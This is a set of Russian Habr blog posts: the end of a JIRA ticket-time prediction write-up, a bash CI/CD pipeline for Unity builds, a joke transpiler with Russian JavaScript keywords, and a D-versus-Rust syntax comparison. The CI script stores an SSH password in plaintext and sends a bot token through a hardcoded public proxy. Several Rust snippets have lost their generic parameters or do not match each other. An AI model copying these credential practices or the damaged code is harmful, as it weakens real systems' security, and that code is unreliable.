R^2 train: 0.836204705204337
R^2 test: 0.15858607391959356
MAE train: 4075.8553476632796
MAE test: 7530.502826043687
```
Ну вот, стало получше. Средняя ошибка на обучающей выборке увеличилась, но ошибка на тестовой выборке практически не изменилась. Это позволяет предположить, что такая модель лучше генерализуется на данных, которые она не видела.
Теперь попробуем вывести важность признаков. Сделаем это следующим образом: возьмем абсолютный вес для каждого из признаков по каждому из нейронов в первом из скрытых слоёв (это тот, в котором 200 нейронов). И посчитаем, какие из признаков имеют наибольший вес по "мнению" наибольшего количества нейронов. К примеру, 30 нейронов из 200 считают, что признак issue type: Epic больше всего влияет на время выполнения тикета. Причем здесь мы не видим в какую именно сторону, т.к. берем абсолютное значение веса, но если подумать, то этот тип тикета используется довольно редко и в основном работы по нему занимают продолжительное время, так что не сложно предположить, что этот признак влияет на время решения в сторону его увеличения. А вот на 4 и 5 местах расположился приоритет тикета. И если низкий приоритет также влияет на увеличение времени, то критический его уменьшает. Эту зависимость мы с вами проследили самостоятельно еще в самом начале, а теперь её выявила и модель.
Однако здесь стоит сделать небольшую ремарку — поскольку в нашей модели аж 9 скрытых слоёв, то определять важность признаков по весам только первого из них не совсем корректно. По этой картинке приятно посмотреть, что модель по крайней мере ведет себя адекватно относительно важности признаков, но чем глубже в сеть будут уходить данные, тем сложнее в удобопонимаемом для человека виде их будет представить.
**Исходный код**
```
pd.Series([X_train.columns[abs(nn.coefs_[0][:,i]).argmax()] for i in range(nn.hidden_layer_sizes[0])]).value_counts().head(5).sort_values().plot(kind='barh', title='Feature importance', fontsize=14, figsize=(14,8));
```
Ансамбль моделей
----------------
А в этой части сделаем ансамбль из двух моделей методом усреднения их предсказаний. Зачем? Вроде бы вот ошибка одной модели 7530 а другой 8217. Ведь усреднение должно равняться (7530 + 8217) / 2 = 7873, что хуже, чем ошибка нейронной сети, так? Нет, не так. Мы усредняем не ошибку, а предсказания моделей. И ошибка от этого взяла, да и уменьшилась до 7526.
Вообще ансамбль моделей довольно мощная вещь, люди так соревнования на kaggle выигрывают. А ведь представленный метод усреднения, пожалуй, самый простой из них.
**Исходный код**
```
nn_predict = nn.predict(X_holdout)
xgb_predict = xgb.predict(X_holdout)
print('NN MSE:', mean_squared_error(nn_predict, y_holdout))
print('XGB MSE:', mean_squared_error(xgb_predict, y_holdout))
print('Ensemble:', mean_squared_error((nn_predict + xgb_predict) / 2, y_holdout))
print('NN MAE:', mean_absolute_error(nn_predict, y_holdout))
print('XGB MSE:', mean_absolute_error(xgb_predict, y_holdout))
print('Ensemble:', mean_absolute_error((nn_predict + xgb_predict) / 2, y_holdout))
```
```
NN MSE: 628107316.262393
XGB MSE: 631417733.4224195
Ensemble: 593516226.8298339
NN MAE: 7530.502826043687
XGB MSE: 8217.07897417256
Ensemble: 7526.763569558157
```
Анализ результатов
------------------
Итого что мы имеем на данный момент? Наша модель ошибается примерно на 7500 минут в среднем. Т.е. на 5 с небольшим дней. Выглядит как не очень точное предсказание для времени выполнения тикета. Но расстраиваться и паниковать рано. Давайте посмотрим, где именно модель ошибается больше всего и на сколько.
Список с максимальными ошибками модели (в минутах):
**Исходный код**
```
((nn_predict + xgb_predict) / 2 - y_holdout).apply(np.abs).sort_values(ascending=False).head(10).values
```
```
[469132.30504392, 454064.03521379, 252946.87342439, 251786.22682697, 224012.59016987, 15671.21520735, 13201.12440327, 203548.46460229, 172427.32150665, 171088.75543224]
```
Числа внушительные. Посмотрим, что это за тикеты.
**Исходный код**
```
df.loc[((nn_predict + xgb_predict) / 2 - y_holdout).apply(np.abs).sort_values(ascending=False).head(10).index][['Issue_type', 'Priority', 'Worktype', 'Summary', 'Watchers']]
```
Не буду слишком сильно вдаваться в подробности по каждому из тикетов, но в целом видно что это какие-то глобальные проекты, по которым даже человек не сможет спрогнозировать точных сроков завершения. Скажу лишь что целых 4 тикета здесь связаны с переездом оборудования из одной локации в другую.
А теперь давайте взглянем, где наша модель показывает самые точные результаты.
**Исходный код**
```
print(((nn_predict + xgb_predict) / 2 - y_holdout).apply(np.abs).sort_values().head(10).values)
df.loc[((nn_predict + xgb_predict) / 2 - y_holdout).apply(np.abs).sort_values().head(10).index][['Issue_type', 'Priority', 'Worktype', 'Summary', 'Watchers']]
```
```
[ 1.24606014, 2.6723969, 4.51969139, 10.04159236, 11.14335444, 14.4951508, 16.51012874, 17.78445744, 21.56106258, 24.78219295]
```
Видно, что лучше всего модель предсказывает случаи, когда люди просят развернуть какой-то дополнительный сервер на их окружении, либо когда происходят какие-то мелкие ошибки на уже существующих окружениях и сервисах. И, как правило, больше всего для репортера важно иметь примерное время решения именно таких проблем, с чем модель отлично справляется.
Как поле Engineer увеличило точность
------------------------------------
Помните, я несколько раз обещал рассказать о полях 'Engineer', содержащих количество открытых тикетов, находящихся в работе, на каждом из инженеров на момент поступления нового тикета? Сдерживаю обещание.
Дело в том, что до добавления этих данных точность модели была хуже текущей примерно в 2 раза. Я, конечно, пробовал различные оптимизации гиперпараметров, пробовал делать более хитрый ансамбль из моделей, но всё это повышало точность совсем незначительно. В итоге, немного поразмыслив, и воспользовавшись тем, что я знаю всю "кухню" работы нашего отдела изнутри, был сделан вывод что не только (и не столько) приоритет, тип тикета и любые другие его поля имеют важность, влияющую на время его решения, как занятость инженеров. Согласитесь, если все сотрудники отдела завалены работой и сидят "в мыле", то никакое выставление приоритетов и изменение описания проблемы не поможет ускорить процесс его решения.
Идея мне показалась здравой, и я решил собрать нужную информацию. Подумав самостоятельно и посоветовавшись с коллегами, я не нашел ничего другого, кроме как проходить циклом по всем уже собранным тикетам и для каждого из них запускать внутренний цикл по каждому из 12 инженеров, делая запрос следующего вида (это язык JQL использующийся в JIRA):
```
assignee was engineer_N during (ticket_creation_date) and status was "In Progress"
```
В результате получилось 10783 \* 12 = 129396 запросов, которые заняли… неделю. Да, на то, чтобы достать такие исторические данные по каждому из тикетов для каждого из инженеров ушла ровно календарная неделя, т.е. примерно по 5 секунд на запрос.
Теперь представьте, как я был рад, когда эти новые полученные данные, добавленные в модель, улучшили её точность сразу в 2 раза. Было бы неприятно потратить неделю на сбор данных и в итоге не получить ничего.
Итоги и планы на будущее
------------------------
Модель с приемлемой точностью предсказывает время решения самых распространенных задач и это уже хорошее подспорье. Теперь она используется в нашей команде для внутреннего [SLO](https://en.wikipedia.org/wiki/Service-level_objective) на который мы ориентируемся, выстраивая нашу очередь тикетов.
Кроме того, есть идея использовать этот же набор данных для предсказания инженера, который займется новой поступившей задачей (люди в команде специализируются на разных вещах: кто-то больше занимается телефонией, кто-то настраивает мониторинг, а кто-то работает с базами данных) и для поиска похожих тикетов уже решенных ранее, что поможет сократить время на дебаггинг проблемы используя уже имеющийся опыт. | https://habr.com/ru/post/433166/ | null | ru | null |
# Свой CI/CD для Unity
Сейчас я расскажу, как выглядит процесс разработки на Unity в маленькой gamedev компании и как мы его улучшаем и автоматизируем. Всё-таки 2020 год на дворе, хватит уже мышкой водить…
Про мышку, это не такая уж и шутка. До недавнего времени, процесс тестирования и разработки игр у нас выглядел примерно так:
#### Android
1. Разработчики пишут код
2. Собирается версия для Android
3. Загружается в общую папку на Google Диск
4. Тестировщик скачивает последний билд
5. Тестирует и закидывает задачи в Redmine
6. Goto: шаг 1
С версией для iOS немного сложнее:
#### iOS
1. Разработчики пишут код
2. Собирается Xcode проект
3. Postbuild скрипт добавляет в него локализации, SDK и прочее
4. Компилируется проект
5. Архивируется
6. Экспортируется в IPA файл (всё это делается не очень быстро, хаха)
7. После этого можно залить IPA в общую папку на Google Диск
8. Или загрузить в TestFlight, где можно прождать пару дней
9. Тестировщик скачивает последний IPA
10. Подключает девайс, устанавливает приложение
11. Тестирует и закидывает задачи в Redmine
12. Goto: шаг 1
Вот такая печаль. И если для Android, процесс ещё как-то приемлем (нет), то для iOS – всё очень долго, неудобно и неправильно. Кроме того, большинство операций делается вручную разработчиком (вот тут про мышку) и время которое может быть затрачено на разработку, уходит на ожидание компиляции, экспорта Xcode проекта и прочее. Это ещё надо учесть, что все находятся в одном офисе, т.е. можно подойти спросить/сказать что-то перед запуском всего этого адского процесса.
Но, в общем, оно как-то работает и выпускает игры :)
И тут недавно, с подачи [Leopotam](https://habr.com/ru/users/leopotam/), ещё одного любителя велосипедостроения и оптимизации всего, я решил автоматизировать этот процесс. В результате получился BASH скрипт, который умеет:
* Скачивать последние изменения с GIT репозитория
* Запускать тесты
* Собирать APK для Android, в develop и release
* Собирать для iOS Xcode проект, в develop и release
* Компилировать его
* Архивировать и экспортировать IPA
* Генерировать для него манифест
* Генерировать HTML страницы для установки
* Загружать всё это на сервер с помощью sshpass
* Складывать все логи в отдельную папку
* Отсылать в Телеграмм уведомление
И всё это по нажатию одной кнопки. Без запуска Unity и Xcode. Как-то по-веселее, да?
Теперь, когда сборка завершена, тестировщику приходит уведомление в Телеграмм с двумя ссылками на Android и iOS версии. Остаётся перейти по ним и установить приложение прямо с устройства. Под iOS тоже работает, для этого и генерируется специальный манифест.
Вообще, это мой первый опыт в BASH программировании, поэтому не знаю, как оно, по фен-шую или нет, но работает исправно. В любом случае, скрипт будет допиливаться и изменяться под нужды проектов. Ниже несколько основных моментов, как что делается:
#### Как запустить сборку Unity проекта под определенную платформу
В [мануале](https://docs.unity3d.com/Manual/CommandLineArguments.html) описаны все аргументы которые можно использовать для билда. Запускаем сборку APK:
```
$UNITY -batchmode -quit -projectPath "$PATH" -executeMethod Game.BuildActions.AndroidDevelopment -buildTarget android -logFile "$LOGS_PATH/android_development.log"
```
Тут **-buildTarget** как раз и задает платформу, а -**executeMethod** вызывает функцию в Unity проекте, которая запускает билд с заданными параметрами, выглядит это примерно так:
```
static void AndroidDevelopment () {
PlayerSettings.SetScriptingBackend (BuildTargetGroup.Android, ScriptingImplementation.IL2CPP);
PlayerSettings.SetScriptingDefineSymbolsForGroup (BuildTargetGroup.Android, "DEV");
EditorUserBuildSettings.SwitchActiveBuildTarget (BuildTargetGroup.Android, BuildTarget.Android);
EditorUserBuildSettings.development = true;
EditorUserBuildSettings.androidETC2Fallback = AndroidETC2Fallback.Quality32Bit;
BuildReport report = BuildPipeline.BuildPlayer (GetScenes (), ANDROID_DEVELOPMENT_FILE, BuildTarget.Android, BuildOptions.None);
int code = (report.summary.result == BuildResult.Succeeded) ? 0 : 1;
EditorApplication.Exit (code);
}
```
Тут можно задать свои параметры для билда, кондишны, и т.п. Результат возвращается в BASH скрипт.
#### Как скомпилировать и экспортировать Xcode проект
После того, как Unity успешно выдала Xcode проект, его надо скомпилировать, заархивировать и экспортировать в IPA файл, делается это примерно так:
```
xcodebuild -project "$IOS_PATH/Unity-iPhone.xcodeproj" -quiet > "$LOGS_PATH/ios_build_release.log" 2>&1
```
```
xcodebuild -project "$IOS_PATH/Unity-iPhone.xcodeproj" -scheme "Unity-iPhone" archive -archivePath "$IOS_RELEASE/Unity-iPhone.xcarchive" -quiet > "$LOGS_PATH/ios_archive_release.log" 2>&1
```
```
xcodebuild -exportArchive -archivePath "$IOS_RELEASE/Unity-iPhone.xcarchive" -exportOptionsPlist "$IOS_RELEASE/options.plist" -exportPath $IOS_RELEASE -allowProvisioningUpdates -quiet > "$LOGS_PATH/ios_export_release.log" 2>&1
```
Здесь **options.plist** – это специальный манифест в котором указывается, метод экспорта, TeamID и прочее. Все доступные параметры можно посмотреть по команде:
```
xcodebuild -help
```
При всех этих операциях указывается стандартный *Unity-iPhone.xcodeproj*, который генерирует Unity. Если у вас *xcworkspace*, то тут надо проверять его наличие и использовать.
#### Как отправить сообщение в Телеграмм из BASH скрипта
Нужно найти бота **BotFather**, написать ему /start, или /newbot, заполнить поля и получить сообщение с токеном и ссылкой на документацию. Чтобы отправить с помощью бота сообщение, надо выполнить такую команду:
```
curl $BOT_PROXY https://api.telegram.org/bot$BOT_TOKEN/sendMessage -m 60 -s -X POST -d chat_id=$CHAT_ID -d text="$1" > "$LOGS_PATH/bot.log" 2>&1
```
Тут **CHAT\_ID** это идентификатор чата, куда отправлять сообщения. Можно например, добавить бота в группу где сидят тестировщики, дать ему права на чтение сообщений. После этого выполнить:
```
https://api.telegram.org/bot[BOT_TOKEN]/getUpdates
```
И получить ID группы и участников кто что-то писал. После этого указать ID группы или конкретного участника, кому отправлять. Как найти и настроить отправку через прокси, думаю не проблема.
Остальные функции, патчат шаблоны манифестов и HTML с помощью **sed** и заливают нужные файлы на сервер с помощью **sshpass**.
Параметры которые можно быстро поменять:
```
#
# PARAMS TO CHANGE
#
BRANCH='master'
COMPANY='my_company'
GAME_NAME='new_game'
BUNDLE='com.mygames.game'
TEAM='ios_team_id'
REMOTE_PATH='url_my_builds_server'
SSH_LOGIN='my_login'
SSH_PASS='my_pass'
SSH_HOST='my_builds_server.ru'
SSH_PATH='~/domains/my_builds_server.ru/builds'
TEMPLATE_FILE=$(PWD)'/template.html'
MANIFEST_FILE=$(PWD)'/manifest.plist'
VERSION_FILE=$(PWD)'/version.txt'
LOGS_PATH=$PROJECT_PATH'/Logs'
ANDROID_PATH=$PROJECT_PATH'/Builds/Android'
BUILDS_PATH=$PROJECT_PATH'/Builds'
IOS_PATH=$PROJECT_PATH'/Builds/iOS'
IOS_BUILD_PATH=$PROJECT_PATH'/Builds/iOS/build'
IOS_DEVELOPMENT=$PROJECT_PATH'/Builds/iOS/build/development'
IOS_RELEASE=$PROJECT_PATH'/Builds/iOS/build/release'
BOT_TOKEN='my_bot_token'
BOT_PROXY='--proxy 185.189.211.70:8080'
CHAT_ID='123456798'
UNITY='/Applications/Unity/Hub/Editor/2019.3.0f1/Unity.app/Contents/MacOS/Unity'
#
#
#
```
[Демка и исходники](https://github.com/mopsicus/unity-build-pipeline)
---
Конечно, всё это можно было сделать через тот же Gitlab CI/CD, уже есть готовые скрипты для этого, запускать раннеры, собирать и тестировать. Короче использовать готовую инфраструктуру и механизмы. Но на него надо переезжать и тоже настраивать. Может к этому и придём, пока так и это намного лучше того что было. Тем более, что весь скрипт был написал достаточно быстро.
Всем автоматизации в 2020 году! Вкалывают роботы, а не человек. | https://habr.com/ru/post/479884/ | null | ru | null |
# JavaScript по-русски — pycckuu.js
Вы никогда не задумывались, как выглядит код на JavaScript для программиста, у которого родной язык — английский? Представьте, насколько удобнее им читать и писать код на своем «нативном» языке, насколько ускоряется время разработки и уменьшается количество багов. А ведь использование английского языка как основы для языков программирования не обусловлено ничем, кроме того, что «так исторически сложилось».
Почему мы не называем переменные на русском языке? Ведь для этого нет никакой технической необходимости: поддержка юникода сейчас есть практически в любой среде разработки и в большинстве популярных языков. Наверняка если ваша команда находится в России, то большая часть ваших разработчиков знают русский язык лучше английского!
Это основные доводы, которыми руководствовались мы, решив написать свой, русский язык программирования.
С другой стороны, давайте посмотрим правде в глаза: зачем изобретать очередной велосипед? Навряд ли язык, созданный небольшой группой энтузиастов, когда-нибудь сможет составить конкуренцию таким монстрам, как JavaScript или Python. После недолгих обсуждений, утихомирив наш пыл, мы решили начать с малого и написать транспиллер в JavaScript.
Так и родился наш проект — [PycckuuJS](https://github.com/PycckuuJS).
Первое, с чего мы решили начать, — это loader для Webpack, с которым вы можете ознакомиться в [репозитории на GitHub](https://github.com/PycckuuJS/pycckuu-loader).
Процесс его установки и использования максимально прост и удобен. Достаточно установить [npm-пакет](https://www.npmjs.com/package/pycckuu) и добавить pycckuu-loader в ваш webpack.config.js для файлов с расширением.яс.
Вот пример минимального конфигурационного файла:
```
module.exports = {
entry: "./тест.яс",
output: {
path: __dirname,
filename: "result.js"
},
module: {
loaders: [
{ test: /\.яс$/, loader: "pycckuu" }
]
}
};
```
Это позволит использовать русские ключевые слова в JavaScript.
Например, такой код:
```
пер сотрудники = ['Владимир', 'Дмитрий', 'Николай']
пер приветствовать = функция(имя){
консоль.логировать('Привет ' + имя + '!')
}
цикл(пер и=0; и<сотрудники.длина; и++){
приветствовать(сотрудники[и])
}
```
Будет транслирован в:
```
var сотрудники = ['Владимир', 'Дмитрий', 'Николай']
var приветствовать = function(имя){
console.log('Привет ' + имя + '!')
}
for(var и=0; и<сотрудники.length; и++){
приветствовать(сотрудники[и])
}
```
С полным списком соответствий можете ознакомится [в репозитории на GitHub](https://github.com/PycckuuJS/pycckuu-loader).
На данный момент loader находится в состоянии MVP (Minimum viable product), так что будем рады вашим pull-реквестам, советам и критике.
На ближайшее будущее запланировано доведение pycckuu-loader до стабильного состояния и создание плагинов для подсветки кода в популярных средах разработки.
UPD Товарищи ставящие минусы, ну имейте хоть капельку чувства юмора. | https://habr.com/ru/post/283072/ | null | ru | null |
# man!(C => D => Rust)
[Предыдущую статью](https://habrahabr.ru/post/280642/) восприняли лучше, чем я ожидал, так что решился на продолжение эксперимента. Это своеобразный ответ на [перевод статьи](https://habrahabr.ru/post/276227/) [Programming in D for C Programmers](http://dlang.org/ctod.html) за авторством Дмитрия aka [vintage](https://habrahabr.ru/users/vintage/). Как мне кажется, в области применения C Rust более уместен, чем замена Go, как предполагалось в прошлой статье. Тем интереснее будет сравнить. Опять таки, код на С приводить не буду, тем более что аналог на D всё равно смотрится лаконичнее.
#### Получаем размер типа в байтах
Напомню, что в С (и в С++) для этой цели существует специальный оператор `sizeof`, который может применяться как к типам, так и к переменным. В D же размер доступен через свойство (которое тоже можно применять и к переменным):
```
int.sizeof
(char*).sizeof
double.sizeof
Foo.sizeof
```
В Rust используется функция, которая обращается к внутренностям компилятора (соответствующему [intrinsic](https://doc.rust-lang.org/std/intrinsics/index.html)):
```
size_of::()
size\_of::<\*const i8>()
size\_of::()
size\_of::()
```
При этом, по причине отсутствия перегрузки функций, для получения размера переменных используется другая функция — `size_of_val`. Возможно, такое разделение несколько менее удобно, зато не приходится вводить специальные ключевые слова — используются обычные языковые механизмы:
```
let a = 10i32;
println!("{}", size_of_val(&a));
```
Забавный нюанс: в Rust пустые структуры (такие как Foo из примера) занимают 0 байт, соответственно массив любого размера таких структур тоже будет занимать 0 байт.
[[Поиграться с кодом]](http://is.gd/s4Y5ay)
#### Получаем максимальное и минимальное значение типа
В D, опять-таки, используются свойства типов:
```
char.max
char.min
ulong.max
double.min_normal
```
В Rust используются С-подобные константы:
```
i8::MAX
i8::MIN
u64::MAX
f64::MIN
```
[[Запустить]](http://is.gd/qxj1wG)
#### Таблица соответствия типов
```
C D Rust
-----------------------------------------------------
bool bool bool
char char
signed char char i8
unsigned char ubyte u8
short short i16
unsigned short ushort u16
wchar_t wchar
int int i32
unsigned uint u32
long int i32
unsigned long uint u32
long long long i64
unsigned long long ulong u64
float float f32
double double f64
long double real
_Imaginary long double ireal
_Complex long double creal
```
Сравнение не совсем правильное, так как в С используются платформозависимые типы, а в D наоборот — фиксированного размера. Для Rust подбирал именно аналоги фиксированного размера.
#### Особые значения чисел с плавающей точкой
```
double.nan
double.infinity
double.dig
double.epsilon
double.mant_dig
double.max_10_exp
double.max_exp
double.min_10_exp
double.min_exp
```
```
f64::NAN
f64::INFINITY
f64::DIGITS
f64::EPSILON
f64::MANTISSA_DIGITS
f64::MAX_10_EXP
f64::MAX_EXP
f64::MIN_10_EXP
f64::MIN_EXP
```
Как видим, в Rust снова используются константы, которые, кстати, принято писать в верхнем регистре.
#### Остаток от деления вещественных чисел
Тут никаких откровений — в Rust, как и в D, имеется [оператор %](https://doc.rust-lang.org/std/ops/trait.Rem.html).
#### Обработка NaN значений
И в D, и в Rust сравнение с NaN даст в результате `false`.
```
let x = 1f64;
let y = NAN;
println!("{}", x < y); // false
println!("{}", y < x); // false
println!("{}", x == y); // false
```
[[Запустить]](http://is.gd/syDu0Y)
#### Асерты — полезный механизм выявления ошибок
Оба языка предоставляют асерты "из коробки", но в D они являются специальной языковой конструкцией:
```
assert( e == 0 );
```
A в Rust — просто макросами:
```
assert!(condition);
assert_eq!(a, b);
```
Впрочем, есть и интересное отличие: в D асерты в релизной сборке отключаются, кроме специального случая `assert(0)`, который используется для обозначения недостижимого при нормальном выполнении кода.
В Rust они остаются и в релизе, впрочем, аналогичное поведение можно получить при помощи макроса `debug_assert!`. Для более явного обозначения недостижимого когда используется [отдельный макрос](https://doc.rust-lang.org/std/macro.unreachable!.html) `unreachable!`.
#### Итерирование по массиву (коллекции)
```
int array[17];
foreach( value ; array ) {
func( value );
}
```
```
let array = [0; 17];
for value in &array {
println!("{}", value);
}
```
Особой разницы нет, хотя цикл [`for`](https://doc.rust-lang.org/book/loops.html#for) в Rust и не похож на своего родственника из С.
#### Инициализация элементов массива
```
int array[17];
array[] = value;
```
В D мы можем инициализировать массив одним значением, как показано выше. Стоит заметить, что после создания массив сначала будет инициализирован значением по умолчанию того типа, который в нём содержится.
```
let array = [value; 17];
```
В Rust присутствует [специальный синтаксис](http://is.gd/Vb71tM) для этого случая.
#### Создание массивов переменной длины
D имеет встроенную поддержку массивов переменной длины:
```
int[] array;
int x;
array.length = array.length + 1;
array[ array.length - 1 ] = x;
```
Rust, следуя своей "философии явности", требует задать значение, которым будут инициализированы новые элементы при вызове метода `resize`. Поэтому правильнее пример будет записать следующим образом:
```
let mut array = Vec::new();
array.push(value);
```
Обратите внимание, что нам [не приходится](http://is.gd/fQojq7) указывать тип элементов содержащихся в векторе — они будут выведены автоматически.
#### Соединение строк
В D есть специальные перегружаемые операторы ~ и ~=, предназначенные для соединения списков:
```
char[] s1;
char[] s2;
char[] s;
s = s1 ~ s2;
s ~= "hello";
```
Официальная документация [аргументирует](https://dlang.org/spec/arrays.html#array-concatenation) наличие отдельных операторов тем, что перегрузка оператора `+` может приводить к неожиданностям.
```
let s1 = "abc";
let s2 = "eee";
let mut s = s1.to_owned() + s2;
s.push_str("world");
```
[В Rust](http://is.gd/xkDv2j), с одной стороны, эти проблемы невозможны из-за необходимости явного приведения типов. С другой стороны, оператор `+=` для строк всё-таки не реализован.
#### Форматированный вывод
```
import std.stdio;
writefln( "Calling all cars %s times!" , ntimes );
```
```
println!("Calling all cars {} times!" , ntimes);
```
[[Запустить]](http://is.gd/bseIqb)
Как видим, языки в этом плане не особо различаются. Разве что в Rust [форматирование](https://doc.rust-lang.org/std/fmt/index.html) не похоже на "привычное" из С.
#### Обращение к функциям до объявления
Оба языка используют [модули](https://doc.rust-lang.org/book/crates-and-modules.html), поэтому порядок определения не имеет значения и предварительные объявления не нужны.
[Пример на Rust:](http://is.gd/XewL6K)
```
fn foo() -> Test {
bar()
}
fn bar() -> Test {
Test { a: 10, b: 20 }
}
struct Test {
a: i32,
b: i32,
}
```
#### Функции без аргументов
```
void foo() {
...
}
```
```
fn foo() {
...
}
```
Сравнение несколько теряет смысл в отрыве от С, так как оба языка не требуют указывать `void` для обозначения отсутствия аргументов.
#### Выход из нескольких блоков кода
```
Louter: for( i = 0 ; i < 10 ; i++ ) {
for( j = 0 ; j < 10 ; j++ ) {
if (j == 3) break Louter;
if (j == 4) continue Louter;
}
}
```
```
'outer: for i in 0..10 {
'inner: for j in 0..10 {
if i == 3 {
break 'outer;
}
if j == 4 {
continue 'inner;
}
}
}
```
Синтаксис [break/continue](https://doc.rust-lang.org/book/loops.html#loop-labels) с меткой практически идентичен.
#### Пространство имён структур
Опять же, в обоих языках нет отдельного пространства имён для структур.
#### Ветвление по строковым значениям (например, обработка аргументов командной строки)
```
void dostring( string s ) {
switch( s ) {
case "hello": ...
case "goodbye": ...
case "maybe": ...
default: ...
}
}
```
```
fn do_string(s: &str) {
match s {
"hello" => {},
"goodbye" => {},
"maybe" => {},
_ => {},
}
}
```
[В данном случае](http://is.gd/udWdkB) особой разницы не видно, но в Rust конструкция `match` — это полноценное сравнение с образцом, что [позволяет делать](http://is.gd/wUHoZF) более хитрые вещи:
```
enum Type {
Common,
Secret,
Unknown,
}
struct Data {
id: i32,
data_type: Type,
info: Vec,
}
fn check\_data(data: &Data) {
match \*data {
Data { id: 42, .. } => println!("The Ultimate Question..."),
Data { data\_type: Type::Secret, info: ref i, .. } if i.is\_empty() => println!("Empty secret data!"),
\_ => println!("Some data..."),
}
}
```
Подробнее в [документации](https://doc.rust-lang.org/book/patterns.html) ([перевод](http://rurust.github.io/rust_book_ru/src/patterns.html)).
#### Выравнивание полей структур
В D есть специальный синтаксис, с помощью которого вы можете детально настроить выравнивание отдельных полей:
```
struct ABC {
int z; // z is aligned to the default
align(1) int x; // x is byte aligned
align(4) {
... // declarations in {} are dword aligned
}
align(2): // switch to word alignment from here on
int y; // y is word aligned
}
```
В Rust можно только полностью отключить выравнивание для отдельных структур:
```
#[repr(packed)]
struct Abc {
...
}
```
#### Анонимные структуры и объединения
D поддерживает анонимные структуры, что позволяет сохранять плоский внешний интерфейс для вложенных сущностей:
```
struct Foo {
int i;
union {
struct { int x; long y; }
char* p;
}
}
Foo f;
f.i;
f.x;
f.y;
f.p;
```
В Rust нет анонимных структур или объединений, поэтому аналогичный код будет выглядеть вот так:
```
enum Bar {
Baz {x: i32, y: i32 },
Option(i8),
}
struct Foo {
i: i32,
e: Bar,
}
```
Более того, Rust не позволит случайно обратиться не к тому полю объединения, которые было инициализировано. Поэтому и обращаться к ним придётся [иначе](http://is.gd/cfcDgJ):
```
match f.e {
Bar::Val(a) => println!("{}", a),
Bar::Baz { x, y } => println!("{} and {}", x, y),
}
```
Таким образом, объединения нельзя использовать как (полу)легальное преобразование типов, зато исключаются потенциальные ошибки.
#### Определение структур и переменных
Оба языка требуют раздельного объявления типа и переменной, то есть, как на С, записать не получится:
```
struct Foo { int x; int y; } foo;
```
#### Получение смещения поля структуры
В D у полей есть специальное свойство `offsetof`:
```
struct Foo { int x; int y; }
off = Foo.y.offsetof;
```
На данный момент Rust не поддерживает такую возможность, так что при необходимости вам придётся вручную вычислять смещения, манипулируя указателями на члены структуры. Впрочем, `offsetof` является зарезервированным ключевым словом, а значит со временем такая функциональность должна появиться.
#### Инициализация объединений
D требует явного указания на то, какому полю объединения присваивается значение:
```
union U { int a; long b; }
U x = { a : 5 };
```
Rust поступает аналогично, кроме того, как уже говорилось, он не позволит обратиться не к тому полю объединения, которое было инициализировано.
```
enum U {
A(i32),
B(i64),
}
let u = U::A(10);
```
#### Инициализация структур
В D структуры можно инициализировать как по порядку, так и с указанием имён полей:
```
struct S { int a; int b; int c; int d; }
S x = { 1, 2, 3, 4 };
S y = { b : 3 , a : 5 , c : 2 , d : 10 };
```
В Rust указание имён [обязательно](http://is.gd/tuju0K):
```
struct S {
a: i32, b: i32, c: i32, d: i32,
}
let x = s { 1, 2, 3, 4 }; // Erorr.
let y = S { a: 1, b: 2, c: 3, d: 4 }; // Ok.
```
#### Инициализация массивов
В D существует много способов инициализации массива, в том числе с указанием индексов инициализируемых элементов:
```
int[3] a = [ 3, 2, 0 ];
int[3] a = [ 3, 2 ]; // unsupplied initializers are 0, just like in C
int[3] a = [ 2 : 0, 0 : 3, 1 : 2 ];
int[3] a = [ 2 : 0, 0 : 3, 2 ]; // if not supplied, the index is the previous one plus one.
```
[В Rust](http://is.gd/2NL0Q7) возможно либо перечислить все значения, которыми мы хотим инициализировать массив, либо указать одно значение для всех элементов массива:
```
let a1 = [1, 2, 3, 4, 5];
let a2 = [0; 6];
```
#### Экранирование спецсимволов в строках
Оба языка, наряду с экранированием отдельных символов, поддерживают так называемые "сырые строки":
```
string file = "c:\\root\\file.c";
string file = r"c:\root\file.c"; // c:\root\file.c
string quotedString = `"[^\\]*(\\.[^\\]*)*"`;
```
```
let file = "c:\\root\\file.c";
let file = r"c:\root\file.c";
let quoted_string = r#""[^\\]*(\\.[^\\]*)*""#;
```
В Rust "сырые строки" формируются [довольно просто](https://doc.rust-lang.org/reference.html#raw-string-literals): они начинаются с символа `r`, за которым следует произвольное количество символов `#`, с последующей кавычкой (`"`). Завершаются строки кавычкой с таким же количеством `#`. В D разновидностей строк [заметно больше](https://dlang.org/spec/lex.html).
#### ASCII против многобайтных кодировок
В D поддерживается несколько видов строк, которые хранят символы разного типа:
```
string utf8 = "hello"; // UTF-8 string
wstring utf16 = "hello"; // UTF-16 string
dstring utf32 = "hello"; // UTF-32 string
```
В Rust существует только один тип строк, которые представляют последовательность UTF-8 байт:
```
let str = "hello";
```
Константин aka [kstep](https://habrahabr.ru/users/kstep/) опубликовал на хабре [серию](https://habrahabr.ru/post/274485/) [переводов](https://habrahabr.ru/post/274455/) про [строковые типы](https://habrahabr.ru/post/274565/) в Rust, так что если вас интересуют подробности, то рекомендую ознакомиться с ними. Ну или с [официальной документацией](https://doc.rust-lang.org/book/strings.html) ([перевод](http://rurust.github.io/rust_book_ru/src/strings.html)).
#### Отображение перечисления на массив
```
enum COLORS { red, blue, green }
string[ COLORS.max + 1 ] cstring = [
COLORS.red : "red",
COLORS.blue : "blue",
COLORS.green : "green",
];
```
Аналог на Rust с применением макроса collect! будет выглядеть следующим образом:
```
use std::collections::BTreeMap;
#[derive(PartialOrd, Ord, PartialEq, Eq)]
enum Colors {
Red,
Blue,
Green,
}
let cstring: BTreeMap<_, _> = collect![
Colors::Red => "red",
Colors::Blue => "blue",
Colors::Green => "green",
];
```
#### Создание новых типов
D позволяет создавать новые типы из имеющихся (strong typedef):
```
import std.typecons;
alias Handle = Typedef!( void* );
void foo( void* );
void bar( Handle );
Handle h;
foo( h ); // syntax error
bar( h ); // ok
```
В том числе, с заданием дефолтного значения:
```
alias Handle = Typedef!( void* , cast( void* ) -1 );
Handle h;
h = func();
if( h != Handle.init ) {
...
}
```
В Rust это делается через использование структуры-кортежа ([tuple struct](https://doc.rust-lang.org/book/structs.html#tuple-structs), [перевод](http://rurust.github.io/rust_book_ru/src/structs.html#%D0%9A%D0%BE%D1%80%D1%82%D0%B5%D0%B6%D0%BD%D1%8B%D0%B5-%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%8B)):
```
struct Handle(*mut i8);
fn foo(_: *mut i8) {}
fn bar(_: Handle) {}
foo(h); // error
bar(h); // ok
```
